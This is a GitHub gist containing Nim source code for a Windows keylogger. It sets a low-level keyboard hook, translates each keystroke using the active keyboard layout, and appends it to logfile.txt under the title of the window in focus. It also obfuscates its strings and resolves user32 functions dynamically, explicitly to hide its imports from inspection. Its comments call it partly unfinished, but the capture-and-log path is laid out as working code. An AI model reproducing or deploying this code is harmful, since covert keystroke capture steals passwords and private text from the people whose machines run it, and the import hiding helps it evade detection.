Skip to content

Instantly share code, notes, and snippets.

@enthus1ast
Created September 22, 2018 11:01
Show Gist options
  • Save enthus1ast/8485cd4612cc7d797f3ab4fd3ed4862c to your computer and use it in GitHub Desktop.
Save enthus1ast/8485cd4612cc7d797f3ab4fd3ed4862c to your computer and use it in GitHub Desktop.
##Geht net
## ` ´ <enter_numpad>
import winim, os, dynlib, strutils, dbg
import tables, ltab, hashes, unicode
import nimUnsorted/win/ps
import nimUnsorted/cross/hideStrings
let WH_KEYBOARD_LL = cc 13
## To hide the importnames
type
TGetAsyncKeyState = proc (P1: int32): SHORT {.cdecl.}
TSetWindowsHookEx = proc (P1: int32, P2: HOOKPROC, P3: HINSTANCE, P4: DWORD): HHOOK {.cdecl.}
TGetKeyState = proc (P1: int32): SHORT {.cdecl.}
TGetKeyboardState = proc (P1: PBYTE): BOOL {.cdecl.}
TCallNextHookEx = proc (P1: HHOOK, P2: int32, P3: WPARAM, P4: LPARAM): LRESULT {.cdecl.}
TGetWindowThreadProcessId = proc (P1: HWND, P2: PDWORD): DWORD {.cdecl.}
TGetKeyboardLayout = proc (P1: DWORD): HKL {.cdecl.}
TToUnicodeEx = proc (P1: UINT, P2: UINT, P3: PBYTE, P4: LPWSTR, P5: int32, P6: UINT, P7: HKL): int32 {.cdecl.}
let u32 = loadLib(cc"user32.dll")
var
GetAsyncKeyState = cast[TGetAsyncKeyState](u32.checkedSymAddr(cc"GetAsyncKeyState"))
SetWindowsHookEx = cast[TSetWindowsHookEx](u32.checkedSymAddr(cc"SetWindowsHookExW"))
GetKeyState = cast[TGetKeyState](u32.checkedSymAddr(cc"GetKeyState"))
GetKeyboardState = cast[TGetKeyboardState](u32.checkedSymAddr(cc"GetKeyboardState"))
CallNextHookEx = cast[TCallNextHookEx](u32.checkedSymAddr(cc"CallNextHookEx"))
GetWindowThreadProcessId = cast[TGetWindowThreadProcessId](u32.checkedSymAddr(cc"GetWindowThreadProcessId"))
GetKeyboardLayout = cast[TGetKeyboardLayout](u32.checkedSymAddr(cc"GetKeyboardLayout"))
ToUnicodeEx = cast[TToUnicodeEx](u32.checkedSymAddr(cc"ToUnicodeEx"))
type
KBDLLHOOKSTRUCT* = object
vkCode*: DWORD
scanCode*: DWORD
flags*: DWORD
time*: DWORD
dwExtraInfo*: ULONG_PTR
PKBDLLHOOKSTRUCT* = ptr KBDLLHOOKSTRUCT
LPKBDLLHOOKSTRUCT* = ptr KBDLLHOOKSTRUCT
proc keyPressed(key: int): bool =
return (GetAsyncKeyState(key.int32) < 0)
proc isShiftPressed(): bool = return keyPressed(VK_SHIFT)
proc isAltPressed(): bool = return keyPressed(VK_MENU)
proc isCtrlPressed(): bool = return keyPressed(VK_CONTROL)
proc isShiftLocked(): bool =
if ((GetKeyState(VK_CAPITAL) and 0x0001)!=0):
return true
else:
return false
proc isAnyShift(): bool =
## true if shift is in capital state
## false if shift is not in capital state
## respects locked shift and shift
result = isShiftLocked()
result = result xor isShiftPressed()
proc getCurrentKeyboardLayout(): HKL =
## returns the *active* windows current keyboard layout
var
foregroundWindow = GetForegroundWindow()
foregroundWindowPid: DWORD
dwThreadId = GetWindowThreadProcessId(foregroundWindow, foregroundWindowPid.addr)
return GetKeyboardLayout(foregroundWindowPid)
var logfile = open(cc"logfile.txt", fmAppend)
var longNames = newLtab()
proc log(str: string) =
write(logfile, str)
logfile.flushFile()
var
lastActiveWindow: string = ""
currentActiveWindow: string = ""
proc hookWriterImpl(nCode: int32, wParam: WPARAM, lParam: LPARAM): LRESULT {.stdcall, gcsafe.} =
dbg ""
currentActiveWindow = getActiveWindowTitle()
if lastActiveWindow != currentActiveWindow:
dbg currentActiveWindow
log "\p===" & currentActiveWindow & "===\p"
lastActiveWindow = currentActiveWindow
# currentKBL = getCurrentKeyboardLayout() # should work but "Jj"
dbg "nCode:", nCode
dbg "wParam:", wParam
dbg "lParam:", lParam
dbg "------"
var p: PKBDLLHOOKSTRUCT = cast[PKBDLLHOOKSTRUCT](lParam)
dbg "p.vkCode", $p.vkCode.chr
# dbg p.vkCode.chr
dbg "p.scanCode: ", p.scanCode
dbg "p.flags: ",p.flags
dbg "p.time:", p.time
dbg "======"
dbg "SHIFT:", isShiftPressed() # KeyPressed(VK_SHIFT)
dbg "SHIFT LOCKED:", isShiftLocked()
dbg "IS ANY SHIFT:", isAnyShift()
dbg "ALT:", isAltPressed()
# if isAltPressed(): log("<ALT>")
dbg "CTL:", isCtrlPressed()
# if p.flags <= 0 or isAltPressed() : # keydown
if wParam == WM_SYSKEYDOWN or wParam == WM_KEYDOWN:
if longNames.hasKey(p.vkCode.hash()):
log longNames[p.vkCode.hash()]
else:
var
buf: LPWSTR = cast[LPWSTR](newWideCString(newString(16)))
keystate: PBYTE = cast[PBYTE](alloc(256))
currentKBL = getCurrentKeyboardLayout()
let sizeWritten = ToUnicodeEx(p.vkCode, p.scanCode, keystate , buf, 16, 0, currentKBL )
dbg "SIZE WRITTEN:", $sizeWritten
if sizeWritten == -1:
dbg "BUF (-1):" & $buf
if sizeWritten == 1:
echo "BUF (1char):" & $buf
log($buf)
# dbg "BUF (1char):" & $buf
# echo "BUF<<<<< ", $buf
# # log $(buf[].int)
# var buf2 = buf[].uint16
# log Rune(cast[int32](buf2)).toUTF8()
# # if isAnyShift():
# # log(unicode.toUpper($buf)) ## TODO bug Jj
# # else:
# # log(unicode.toLower($buf)) ## TODO bug Jj
if sizeWritten > 1:
let buf2 = ($buf)[0..sizeWritten]
dbg "BUF RUNE:" , Rune(cast[int32](buf2)).toUTF8()
dealloc(keystate)
return CallNextHookEx(WH_KEYBOARD_LL, nCode, wParam, lParam)
var hookWriter: HOOKPROC = hookWriterImpl
var hook = SetWindowsHookEx(WH_KEYBOARD_LL.int32, hookWriter, 0.HINSTANCE, 0.DWORD)
if hook != 0: dbg "set ll hook"
var msg: MSG
while(GetMessage(msg, 0, 0, 0) > 0):
discard TranslateMessage(msg)
discard DispatchMessage(msg)
# UnhookWindowsHookEx(hook);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment